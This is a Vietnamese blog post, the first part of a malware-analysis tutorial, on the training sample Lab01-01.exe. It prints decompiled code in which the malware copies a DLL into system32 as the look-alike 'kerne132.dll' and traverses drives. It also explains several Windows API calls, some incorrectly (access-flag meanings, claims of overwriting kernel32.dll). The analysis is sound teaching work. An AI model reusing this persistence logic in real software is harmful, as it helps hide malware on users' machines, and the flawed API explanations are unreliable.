Featured Content Slider

Home » » Phân tích malware (Bài 1) by Nguyễn Phương Nam

Phân tích malware (Bài 1) by Nguyễn Phương Nam

Vo Uu | 22:36 | 0 nhận xét
Ok, bắt đầu bài thứ 1 nhé
1. Nhận dạng
Quăng con này lên virustotal:
https://www.virustotal.com/en/file/58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47/analysis/
KQ:
SHA256:58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
File name:Lab01-01.exe
Detection ratio:1 / 44
Không tệ: 1/44 AV báo malware
Ngày compile là Sunday, ‎January ‎08, ‎2012, ‏‎02:19:04 AM
Compiler là: Microsoft Visual C++ 6.0 và không sử dụng packer

SHA: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47


2. Phân tích
Lab01-01.exe import 2 DLL là kernel.dll và MSVCRT.dll

Ta sẽ decompiler hàm main trước
int __cdecl main(int argc, const char **argv, const char **envp) { HANDLE v3; // eax@3 HANDLE v4; // eax@3 LPVOID v5; // eax@3 int v6; // esi@3 HANDLE v7; // eax@3 HANDLE v8; // eax@5 int v9; // ebp@7 int v10; // edi@9 int v11; // eax@9 int v12; // esi@9 int v13; // ebx@9 int v14; // ebp@9 int v15; // eax@9 unsigned int v16; // edi@9 int v17; // eax@9 int v18; // ecx@9 int v19; // edx@9 int v20; // esi@9 int v21; // edi@9 int v22; // ebx@9 int v23; // eax@9 int v24; // ecx@9 unsigned int v25; // edx@9 int v26; // ebp@12 int v27; // edx@14 void *v28; // ebx@14 void *v29; // eax@14 int v30; // ecx@14 unsigned int v31; // kr14_4@14 bool v32; // cf@15 int v34; // [sp+10h] [bp-44h]@12 int v35; // [sp+14h] [bp-40h]@12 int *v36; // [sp+18h] [bp-3Ch]@12 int v37; // [sp+1Ch] [bp-38h]@9 int v38; // [sp+20h] [bp-34h]@9 int v39; // [sp+24h] [bp-30h]@9 int v40; // [sp+28h] [bp-2Ch]@11 unsigned int v41; // [sp+2Ch] [bp-28h]@9 int v42; // [sp+30h] [bp-24h]@9 int v43; // [sp+34h] [bp-20h]@9 int v44; // [sp+38h] [bp-1Ch]@9 int v45; // [sp+3Ch] [bp-18h]@9 int v46; // [sp+40h] [bp-14h]@12 int v47; // [sp+44h] [bp-10h]@9 int v48; // [sp+48h] [bp-Ch]@9 void *hObject; // [sp+4Ch] [bp-8h]@3 void *v50; // [sp+50h] [bp-4h]@3 int argca; // [sp+58h] [bp+4h]@3 int argva; // [sp+5Ch] [bp+8h]@7 int argvb; // [sp+5Ch] [bp+8h]@9 if ( argc == 2 && !strcmp(argv[1], "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE") ) { v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0); hObject = v3; v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0); v5 = MapViewOfFile(v4, 4u, 0, 0, 0); v6 = (int)v5; argca = (int)v5; v7 = CreateFileA("Lab01-01.dll", 0x10000000u, 1u, 0, 3u, 0, 0); v50 = v7; if ( v7 == (HANDLE)-1 ) exit(0); v8 = CreateFileMappingA(v7, 0, 4u, 0, 0, 0); if ( v8 == (HANDLE)-1 ) exit(0); v9 = (int)MapViewOfFile(v8, 0xF001Fu, 0, 0, 0); argva = v9; if ( !v9 ) exit(0); v44 = v6 + *(_DWORD *)(v6 + 60); v10 = v6 + *(_DWORD *)(v6 + 60); v11 = sub_401040(*(_DWORD *)(v10 + 120), v10, v6); v12 = v9 + *(_DWORD *)(v9 + 60); v13 = v11; v39 = v11; v14 = sub_401040(*(_DWORD *)(v12 + 120), v12, v9); v37 = sub_401040(*(_DWORD *)(v13 + 28), v10, argca); v43 = sub_401040(*(_DWORD *)(v13 + 36), v10, argca); v15 = sub_401040(*(_DWORD *)(v13 + 32), v10, argca); v16 = *(_DWORD *)(v12 + 124); v42 = v15; v17 = sub_401070(*(_DWORD *)(v12 + 120), v12, argva); memcpy((void *)v14, (const void *)v13, 4 * (v16 >> 2)); v45 = v17; memcpy((void *)(v14 + 4 * (v16 >> 2)), (const void *)(v13 + 4 * (v16 >> 2)), v16 & 3); v18 = *(_DWORD *)(v13 + 20); *(_DWORD *)(v14 + 20) = v18; *(_DWORD *)(v14 + 24) = *(_DWORD *)(v13 + 24); *(_DWORD *)(v14 + 12) = v14 + 40 + v17; v38 = v14 + 56; *(_DWORD *)(v14 + 40) = dword_403010; *(_DWORD *)(v14 + 44) = dword_403014; *(_DWORD *)(v14 + 48) = dword_403018; *(_DWORD *)(v14 + 52) = dword_40301C; v19 = *(_DWORD *)(v14 + 20); v20 = v14 + 56 + 4 * v19; v21 = v14 + 56 + 8 * v19; v48 = v14 + 56 + 4 * v19; v47 = v14 + 56 + 8 * v19; v22 = 16 * v18 + v14 + 56; *(_DWORD *)(v14 + 28) = v14 + 56 + v17; *(_DWORD *)(v14 + 36) = v20 + v17; *(_DWORD *)(v14 + 32) = v21 + v17; v23 = v39; v24 = 0; v25 = 0; argvb = 0; v41 = 0; if ( *(_DWORD *)(v39 + 20) ) { do { if ( *(_DWORD *)v37 ) { v40 = 0; if ( *(_DWORD *)(v23 + 24) ) { v26 = v38 + 4 * v24; v34 = v20 + 2 * v24; v36 = (int *)v42; v35 = v43; v46 = v21 - v38; do { if ( *(_WORD *)v35 == v25 ) { v27 = sub_401040(*v36, v44, argca); memcpy((void *)v22, (const void *)v27, strlen((const char *)v27) + 1); *(_WORD *)v34 = argvb; *(_DWORD *)(v46 + v26) = v22 + v45; v28 = (void *)(v22 + strlen((const char *)v27) + 1); v29 = v28; v30 = (int)((char *)v28 + v45); v28 = (char *)v28 + 9; *(_DWORD *)v26 = v30; *(_DWORD *)v29 = dword_403070; *((_DWORD *)v29 + 1) = dword_403074; *((_BYTE *)v29 + 8) = byte_403078; memcpy(v28, (const void *)v27, strlen((const char *)v27) + 1); v31 = strlen((const char *)v27) + 1; v23 = v39; ++argvb; v25 = v41; v22 = (int)((char *)v28 + v31); v26 += 4; v34 += 2; } v35 += 2; v32 = (unsigned int)(v40++ + 1) < *(_DWORD *)(v23 + 24); ++v36; } while ( v32 ); v24 = argvb; v21 = v47; v20 = v48; } } ++v25; v41 = v25; v37 += 4; } while ( v25 < *(_DWORD *)(v23 + 20) ); } CloseHandle(hObject); CloseHandle(v50); if ( !CopyFileA("Lab01-01.dll", "C:\\windows\\system32\\kerne132.dll", 0) ) exit(0); sub_4011E0("C:\\*", 0); } return 0; }

Lưu ý khi làm việc với IDA:
- 0x80000000u thì 0x80000000 là số hex, còn u là unsigned (số không dấu)
- Khi bạn gặp 1 hàm CreateFileA hay CreateFileW thì kí tự A nghĩa là ANSI và W nghĩa là Unicode
Mình demo ví dụ ở đây: http://blog.phuongnam.org/2013/05/lay-hardware-id-bang-c.html
Ok, ta sẽ phân tích từng dòng quan trọng:

***********************************************************************
HANDLE v3; // eax@3
v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);

Chúng ta có thể lấy thông tin hàm CreateFileA ở trong thư viện MSDN của microsoft
* Lưu ý: khi bạn tìm kiếm hàm thì chỉ gõ CreateFile chứ đừng ghi thêm hậu tố "A" hay "W" đằng sau, MSDN sẽ không hiểu

HANDLE WINAPI CreateFile(
_In_      LPCTSTR lpFileName,
_In_      DWORD dwDesiredAccess,
_In_      DWORD dwShareMode,
_In_opt_  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_      DWORD dwCreationDisposition,
_In_      DWORD dwFlagsAndAttributes,
_In_opt_  HANDLE hTemplateFile
);

Tham số lpFileName: "C:\\Windows\\System32\\Kernel32.dll" là đường dẫn và tên file cần tạo
Tham số dwDesiredAccess: 0x80000000u = FILE_READ_ATTRIBUTES (file này có thuộc tính chỉ đọc)
Tham số dwShareMode: 1u = FILE_SHARE_READ
Tham số lpSecurityAttributes: tham số này bằng NULL thì ta không cần xét thêm
Tham số dwCreationDisposition: 3u = OPEN_EXISTING (nếu như file không tồn tại sẽ báo lỗi, chắc chắn là không báo rồi vì kernel32.dll là core của windows mà)
Tham số 6 và 7 là NULL

Tóm lại là hàm này sẽ ghi đè dữ liệu lên file kernel32.dll
Sau khi thực thi hàm sẽ trả về kết quả, ghi thành công hay thất bại
Chúng ta có thể kiểm tra việc ghi file bằng GetLastError xem thành công không
******************************************************************************
HANDLE v4; // eax@3
v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0);

MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366537(v=vs.85).aspx

HANDLE WINAPI CreateFileMapping(
_In_      HANDLE hFile,
_In_opt_  LPSECURITY_ATTRIBUTES lpAttributes,
_In_      DWORD flProtect,
_In_      DWORD dwMaximumSizeHigh,
_In_      DWORD dwMaximumSizeLow,
_In_opt_  LPCTSTR lpName
);
Creates or opens a named or unnamed file mapping object for a specified file.
Thuật ngữ File Mapping có thể tìm thấy tại: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366556(v=vs.85).aspx
File mapping is the association of a file's contents with a portion of the virtual address space of a process. The system creates a file mapping object (also known as a section object) to maintain this association. A file view is the portion of virtual address space that a process uses to access the file's contents. File mapping allows the process to use both random input and output (I/O) and sequential I/O. It also allows the process to work efficiently with a large data file, such as a database, without having to map the whole file into memory. Multiple processes can also use memory-mapped files to share data.

Hàm CreateFileMapping dùng để tạo hay mở 1 tập tin mapping object cho 1 tập tin được chỉ định, tập tin được chỉ định ở đây là kernel32.dll như chúng ta đã biết
Tham số hFile: v3 sẽ trỏ về kểu tập tin kernel32.dll đã được tạo tại hàm CreateFile
Tham số lpAttributes: tham số này trỏ về ECURITY_ATTRIBUTES structure sẽ chỉ định đặc tả bảo mật cho tập tin mới (được tạo hoặc mở). Tham số lpAttributes là NULL thì nó sẽ chỉ định đặc tả bảo mật mặc định
Tham số flProtect: chỉ định page protection của đối tượng file mapping. Tham số được gán 2u (0x02) là PAGE_READONLY (chỉ đọc)
Tham số dwMaximumSizeHigh: là Kích cỡ cao nhất mà đối tượng file mapping có thể đạt đến, tham số này bằng 0 nghĩa là kích cỡ của đối tượng file mapping sẽ bằng với kích cỡ của hFile hiện tại (kernel32.dll)
Tham số dwMaximumSizeLow: là kích cỡ thấp nhất của đối tượng file mapping, tham số này thường là 0
Tham số lpName: tên của tập tin mapping object, tham số này bằng 0 nghĩa là file sẽ được tạo k có tên
*****************************************************************************
LPVOID v5; // eax@3
v5 = MapViewOfFile(v4, 4u, 0, 0, 0);
MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366761(v=vs.85).aspx

Maps a view of a file mapping into the address space of a calling process.
LPVOID WINAPI MapViewOfFile(
_In_  HANDLE hFileMappingObject,
_In_  DWORD dwDesiredAccess,
_In_  DWORD dwFileOffsetHigh,
_In_  DWORD dwFileOffsetLow,
_In_  SIZE_T dwNumberOfBytesToMap
);
(Còn tiếp)



Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger